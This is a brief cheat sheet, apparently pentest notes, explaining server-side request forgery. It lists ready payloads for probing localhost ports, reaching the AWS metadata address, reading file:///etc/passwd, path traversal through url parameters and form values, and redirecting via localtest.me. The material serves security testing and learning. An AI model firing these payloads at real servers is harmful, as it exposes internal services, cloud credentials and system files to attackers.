# Server Side Request Forgery (SSRF)

is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.

## Usage

### Sanity Test Service

Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.

    http://127.0.0.1:3306
    http://localhost:5432
    http://0.0.0.0:53

- IPv6

    http://[::]:3306
    http://:::3006

- Cloud info in Link Local IP range `169.254.0.0/16`

    169.254.169.254 --> AWS info
    169.254.169.253 --> DNS AWS VPC
    169.254.169.123 --> Stratum 3 NTP
    127.0.0.1:53    --> systemd DNS

- Changing input format into hex or encoded

### Reading files

    file:///etc/passwd

### Request Forgery through GET parameters

- Request app server through parameter

    http://<ssrf-Server>/?url=http://<AppServer>/secret/url

- Request remote resources, or path traversal on remote resource

    http://<ssrf-Server>/?url=/item?id=42
    http://<ssrf-Server>/?url=../../etc/passwd

- Request subdomain URL and cut following unnecessary parameters through `&x=&id=42`. Parameter `x` does not exist. So, it will be ignored

    http://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42

### HTML Form

User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.

    <input type="radio" name="avatar" value="assets/avatars/6.png">

This may be used for path traversal

    <input type="radio" name="avatar" value="x/../private">

Check return value of the form for result.

## Tricks

- `localtest.me` resolves to `127.0.0.1`, may be used to extend a domain inside a parameter to redirect to localhost.
